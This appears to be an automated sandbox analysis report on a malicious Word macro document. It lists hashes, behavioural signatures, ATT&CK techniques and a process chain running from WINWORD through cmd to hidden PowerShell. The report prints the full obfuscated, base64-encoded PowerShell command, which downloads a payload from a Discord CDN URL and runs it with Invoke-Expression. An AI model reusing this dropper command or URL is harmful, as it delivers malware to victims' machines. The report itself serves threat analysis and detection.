ccff267f5824ca8d8480b9050ff631681b3d7a0817241374cfa65fc7a3b58476

General

Target

BIlls-8172135.doc
Size

43KB
MD5

12489be76fc04c1226707d1029f834a8
SHA1

6aedf03afe4e5b7cb220d8541473243a9bd17179
SHA256

ccff267f5824ca8d8480b9050ff631681b3d7a0817241374cfa65fc7a3b58476
SHA512

1a7d7ddbc7f6da7e448ce83af6a3802c8e57bf1da8fe51e494e52c143ebda3759b0fbe044e1ecc394b02e3c7cba803ae2156dc781bb4242402bb8e58e55ee79b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/851105085270523917/895674622702399538/Server.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3256	1688	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

23 3764 powershell.exe

flow	pid	process
23	3764	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

3808 NOTEPAD.EXE
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1688 WINWORD.EXE
1688 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3764 powershell.exe
3764 powershell.exe
3764 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3764 powershell.exe

pid	process
3808	NOTEPAD.EXE

pid	process
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3764	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

WINWORD.EXE

pid	process
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE
1688	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1688 wrote to memory of 3256	1688	WINWORD.EXE	cmd.exe
PID 1688 wrote to memory of 3256	1688	WINWORD.EXE	cmd.exe
PID 3256 wrote to memory of 3764	3256	cmd.exe	powershell.exe
PID 3256 wrote to memory of 3764	3256	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BIlls-8172135.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\mosad.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poweRSheLL.eXe -executIonPOLIcY ByPaSs -nOProfILe -WIndoWSTYLe HiDdeN -E JABTAFoAWABEAEMARgBWAEcAQgBIAE4ASgBTAEQARgBHAEgAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwA4ADUAMQAxADAANQAwADgANQAyADcAMAA1ADIAMwA5ADEANwAvADgAOQA1ADYANwA0ADYAMgAyADcAMAAyADMAOQA5ADUAMwA4AC8AUwBlAHIAdgBlAHIALgB0AHgAdAAnADsADQAKACQARQBEAFIARgBHAEgATgBKAE0ASwBEAEUARgBHAEgASgAgAD0AIAAnAG4ARQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAEUAYgBDACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACsAVAAnAC4AUgBlAHAAbABhAGMAZQAoACcALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAnACwAJwB0AC4AVwAnACkALgBSAGUAcABsAGEAYwBlACgAJwArACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACcALAAnAGwASQBFAE4AJwApADsADQAKACQAUwBYAEQAQwBGAFYARwBCAEgATgBKAFgARABDAEYAVgBHAEIASABKAEsAIAA9ACAAJwBEAE8AKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgBhAEQAUwBUADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgBHACcALgBSAGUAcABsAGEAYwBlACgAJwAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACcALAAnAFcAbgBMAG8AJwApAC4AUgBlAHAAbABhAGMAZQAoACcAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAHIASQBuACcAKQA7AA0ACgAkAFMAVwBYAEQARQBDAFIARgBHAFkASABVAEoASQBTAEQARgBWAEcASABKACAAPQAnAEkAYABFAFgAKABuAGAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQBgAGMAYABUACAAJABFAEQAUgBGAEcASABOAEoATQBLAEQAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgA+AD4APgBHAEIASABOAEoAUwBEAEYARwBIACkAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0AJwAsACcAZQBgAFcAYAAtAE8AYgBqAGAARQAnACkALgBSAGUAcABsAGEAYwBlACgAJwA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAEUARgBHAEgASgApAC4AJABTAFgARABDAEYAVgBHAEIASABOAEoAWABEAEMARgBWAEcAQgBIAEoASwAoACQAUwBaAFgARABDAEYAVgAnACkAOwANAAoAJgAoACcASQAnACsAJwBFAFgAJwApACgAJABTAFcAWABEAEUAQwBSAEYARwBZAEgAVQBKAEkAUwBEAEYAVgBHAEgASgAgAC0ASgBvAGkAbgAgACcAJwApAHwAJgAoACcASQAnACsAJwBFAFgAJwApADsA"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3764

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1920

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Public\Documents\mosad.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:3808

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\mosad.bat
MD5
a685d75068195fb660a916c72d1ffbcc

SHA1
7444ec315ba2439a0388415074667739323541c6

SHA256
cc5a024786036aa094718ecc292f781bceed4cd6636885f4eec0ba285bd24570

SHA512
ba66ecea4e5179be1b8670d3e14cf6cfafe6b98b7b0527c79398c3adc026bb82e38284392f712499cbf2cd6afe4325844a244662f129df3767a2cb7c88b62397

Download Submit
memory/1688-118-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp

Filesize
64KB

Download
memory/1688-116-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp

Filesize
64KB

Download
memory/1688-115-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp

Filesize
64KB

Download
memory/1688-119-0x000002B10D190000-0x000002B10D192000-memory.dmp

Filesize
8KB

Download
memory/1688-120-0x000002B10D190000-0x000002B10D192000-memory.dmp

Filesize
8KB

Download
memory/1688-121-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp

Filesize
64KB

Download
memory/1688-122-0x000002B10D190000-0x000002B10D192000-memory.dmp

Filesize
8KB

Download
memory/1688-117-0x00007FFEE1440000-0x00007FFEE1450000-memory.dmp

Filesize
64KB

Download
memory/3256-258-0x0000000000000000-mapping.dmp

Download
memory/3764-261-0x0000000000000000-mapping.dmp

Download
memory/3764-285-0x000001B8515A0000-0x000001B8515A2000-memory.dmp

Filesize
8KB

Download
memory/3764-286-0x000001B8515A3000-0x000001B8515A5000-memory.dmp

Filesize
8KB

Download
memory/3764-287-0x000001B8515A6000-0x000001B8515A8000-memory.dmp

Filesize
8KB

Download
memory/3764-309-0x000001B8515A8000-0x000001B8515A9000-memory.dmp

Filesize
4KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads